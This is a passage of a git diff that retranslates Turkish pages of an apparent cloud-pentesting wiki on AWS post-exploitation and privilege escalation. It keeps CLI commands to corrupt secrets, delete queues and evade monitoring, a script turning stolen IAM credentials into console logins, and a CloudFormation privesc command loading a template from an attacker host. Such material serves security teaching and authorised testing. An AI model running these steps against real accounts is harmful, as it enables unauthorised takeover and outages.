b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -12,11 +12,11 @@ Daha fazla bilgi için kontrol edin: ### Gizli Bilgileri Okuma -**gizli bilgiler kendileri hassas bilgilerdir**, [onları nasıl okuyacağınızı öğrenmek için privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md). +**gizli bilgiler kendileri hassas bilgilerdir**, [privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md) nasıl okunacağını öğrenmek için. ### DoS Gizli Değerini Değiştirme -Gizli değeri değiştirerek, **o değere bağlı olan tüm sistemleri DoS yapabilirsiniz.** +Gizli değeri değiştirerek **o değere bağlı tüm sistemleri DoS yapabilirsiniz.** > [!WARNING] > Önceki değerlerin de saklandığını unutmayın, bu nedenle önceki değere geri dönmek kolaydır. @@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` -### DoS KMS anahtarını değiştirin +### DoS KMS anahtarını değiştir ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 2cc01812a..06d7687ca 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -17,7 +17,7 @@ Bir e-posta gönder. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Hala test edilecek. +Henüz test edilmedi. ### `ses:SendRawEmail` @@ -25,15 +25,13 @@ Bir e-posta gönder. ```bash aws ses send-raw-email --raw-message file://message.json ``` -Hala test edilecek. - ### `ses:SendTemplatedEmail` -Bir şablona dayalı olarak e-posta gönderin. +Bir şablona dayalı bir e-posta gönderin. ```bash aws ses send-templated-email --source --destination --template ``` -Hala test edilecek. +Henüz test edilmedi. ### `ses:SendBulkTemplatedEmail` @@ -51,7 +49,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Alınan bir e-posta üzerinden bir **bounce e-postası** gönderin (e-postanın alınamadığını belirtir). Bu işlem yalnızca **e-postanın alınmasından sonraki 24 saat içinde** yapılabilir. +Bir **bounce email** gönderin, alınan bir e-posta üzerinden (e-postanın alınamadığını belirten). Bu yalnızca **e-postayı aldıktan sonra 24 saat içinde** yapılabilir. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index dccc4482f..b1f684b6f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -12,7 +12,7 @@ Daha fazla bilgi için: ### Mesajları Kesintiye Uğratma -Birçok durumda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir. +Bazı durumlarda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir. ### `sns:DeleteTopic` @@ -36,7 +36,7 @@ Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da perform ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` -**Potansiyel Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir. +**Olası Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir. ### `sns:Subscribe` , `sns:Unsubscribe` @@ -49,12 +49,12 @@ aws sns unsubscribe --subscription-arn ### `sns:AddPermission` , `sns:RemovePermission` -Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konudan yararlanan uygulamaların normal işleyişinde kesintilere neden olabilir. +Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konuyu kullanan uygulamaların normal işleyişinde kesintilere neden olabilir. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` -**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesaj ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. +**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. ### `sns:TagResource` , `sns:UntagResource` @@ -63,6 +63,6 @@ Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya ka aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` -**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 764e90d25..1b3fe9292 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -17,21 +17,21 @@ Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar göndereb aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. +**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. +Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. +**Olası Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. ### `sqs:DeleteQueue` -Bir saldırgan, tüm SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler. +Bir saldırgan, tüm bir SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler. ```arduino Copy codeaws sqs delete-queue --queue-url ``` @@ -43,7 +43,7 @@ Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesa ```arduino Copy codeaws sqs purge-queue --queue-url ``` -**Potansiyel Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi. +**Olası Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi. ### `sqs:SetQueueAttributes` @@ -51,16 +51,16 @@ Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da perfo ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` -**Potansiyel Etki**: Yanlış yapılandırmaların performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açması. +**Olası Etki**: Yanlış yapılandırmalar, performans düşüklüğüne, güvenlik sorunlarına veya azalmış kullanılabilirliğe yol açabilir. ### `sqs:TagQueue` , `sqs:UntagQueue` -Bir saldırgan, SQS kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. +Bir saldırgan, SQS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` -**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. ### `sqs:RemovePermission` @@ -68,6 +68,6 @@ Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanı ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**Potansiyel Etki**: Yetkisiz izin kaldırılması nedeniyle kuyruğa bağımlı uygulamaların normal işleyişinin kesintiye uğraması. +**Potansiyel Etki**: Kuyruğa bağımlı uygulamaların normal işleyişinin bozulması, yetkisiz izin kaldırma nedeniyle. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 2e9f25145..55fe48134 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Bu izinler, izinleri kesintiye uğratmak için kullanılabilir: +Bu izinler, izinleri bozmak için kullanılabilir: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 15962d77d..173affca9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışması başarısız olur, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir. +Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -52,7 +52,7 @@ Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini du ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraksama ve potansiyel veri bozulması. +- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması. ### `states:TagResource`, `states:UntagResource` @@ -61,6 +61,6 @@ Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştir aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 6bc6ace43..7d0b710b8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -12,8 +12,8 @@ Daha fazla bilgi için: ### IAM Kimlik Bilgilerinden Konsola -Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, **web konsoluna erişim sağlamayı** aşağıdaki araçları kullanarak düşünebilirsiniz.\ -Kullanıcının/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın. +Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, aşağıdaki araçları kullanarak **web konsoluna erişmekle** ilgileniyor olabilirsiniz.\ +Kullanıcı/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın. #### Özel script @@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler -**Web konsol bağlantısı oluşturabilirsiniz** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Bir **web konsol bağlantısı** oluşturabilirsiniz [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir geliştirme ortamında kullanılan bir araçtır. +[**aws-vault**](https://github.com/99designs/aws-vault), bir geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde saklamak ve erişmek için kullanılan bir araçtır. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Python'dan User-Agent kısıtlamalarını aşma** -Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**: +Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz:** ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index 7df74395f..dc913ce46 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - VPN Post Exploitation +# AWS - VPN Sonrası Sömürü {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index dfb6274ce..cacec9f5f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,14 +4,14 @@ ## AWS Yetki Yükseltme -AWS'de yetkilerinizi yükseltmenin yolu, diğer roller/kullanıcılar/gruplar yetkilerine erişebilecek kadar yeterli izne sahip olmaktır. Yükseltmeleri zincirleme yaparak organizasyon üzerinde yönetici erişimi elde edebilirsiniz. +AWS'de yetkilerinizi yükseltmenin yolu, diğer rol/kullanıcı/grup yetkilerine erişebilecek kadar izne sahip olmaktır. Yönetim erişimine sahip olana kadar yükseltmeleri zincirleme. > [!WARNING] -> AWS'nin **yüzlerce** (binlerce olmasa da) **izin** verebileceği bir varlık vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**. +> AWS'nin bir varlığa verilebilecek **yüzlerce** (binlerce değilse) **izin** vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**. > [!CAUTION] -> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** **belirtilen eylem dışında HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\ -> Bu nedenle, bu durumun **bir varlığa ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın. +> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** belirtilen eylem dışında **HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\ +> Bu nedenle, bu durumun bir varlığa **ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın. **Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada, yetkilerinizi yükseltmenizi sağlayacak izinleri bulabileceksiniz.** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index c0c47652c..0df733896 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### `apigateway:POST` -Bu izinle, yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz. +Bu izinle, yapılandırılmış API'lerin API anahtarlarını (bölge başına) oluşturabilirsiniz. ```bash aws --region apigateway create-api-key ``` @@ -20,16 +20,16 @@ aws --region apigateway create-api-key ### `apigateway:GET` -Bu izinle, yapılandırılmış API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz. +Bu izinle, yapılandırılan API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz. ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Potansiyel Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. +**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) mümkün hale gelir. +Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) imkanı vardır. ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ @@ -56,7 +56,7 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potansiyel Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim. +**Olası Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` @@ -79,10 +79,10 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:UpdateVpcLink` -> [!NOTE] +> [!NOT] > Test edilmesi gerekiyor -`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**. +`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirme potansiyeline sahiptir**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index 26e932728..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -4,6 +4,6 @@ ### chime:CreateApiKey -YAPILACAK +TODO {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index f72271311..464c16338 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ Cloudformation hakkında daha fazla bilgi için kontrol edin: ### `iam:PassRole`, `cloudformation:CreateStack` -Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak: +Bu izinlere sahip bir saldırgan, **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **yetkileri artırabilir:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -Bu durumda, **mevcut bir cloudformation yığınını** güncelleyerek ve önceki senaryodaki gibi ayrıcalıkları artırarak kötüye kullanabilirsiniz: +Bu durumda, **mevcut bir cloudformation yığınını** kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -43,7 +43,7 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin). +Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Kötüye kullanım örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin). `cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz. @@ -51,9 +51,9 @@ Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan y ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyebilir ve cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir. +Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini kötüye kullanabilir**; tıpkı CreateStack veya UpdateStack ile olduğu gibi. -Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack bir**](./#iam-passrole-cloudformation-createstack). +Aşağıdaki kötüye kullanım, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](./#iam-passrole-cloudformation-createstack). ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -81,25 +81,25 @@ aws cloudformation describe-stacks \ ``` `cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `ChangeSet` izinleri vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz. -**Olası Etki:** cloudformation hizmet rolleri için privesc. +**Olası Etki:** cloudformation hizmet rollerine privesc. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Bu, **IAM rolleri** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin: +Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları** kötüye kullanabilirsiniz, sadece parametreyi değiştirin: ``` --change-set-type UPDATE ``` -**Olası Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc. +**Olası Etki:** Zaten eklenmiş olan cloudformation hizmet rolüne privesc. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -Bir saldırgan, bu izinleri kötüye kullanarak, keyfi cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir. +Bir saldırgan, bu izinleri kötüye kullanarak rastgele cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir. **Olası Etki:** Cloudformation hizmet rollerine privesc. ### `cloudformation:UpdateStackSet` -Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak, ekli cloudformation rollerini kötüye kullanmak için StackSet'leri güncelleyebilir. +Bir saldırgan, ekli cloudformation rollerini kötüye kullanmak için passRole izni olmadan StackSet'leri güncellemek için bu izni kötüye kullanabilir. **Olası Etki:** Ekli cloudformation rollerine privesc. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 5482940eb..2195c5fdf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar** üreten bir **cloudformation şablonu** kullanabilir: +Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar üreten** bir **cloudformation şablonu** kullanabilir: ```json { "Resources": { diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 975c598c8..d348be913 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ 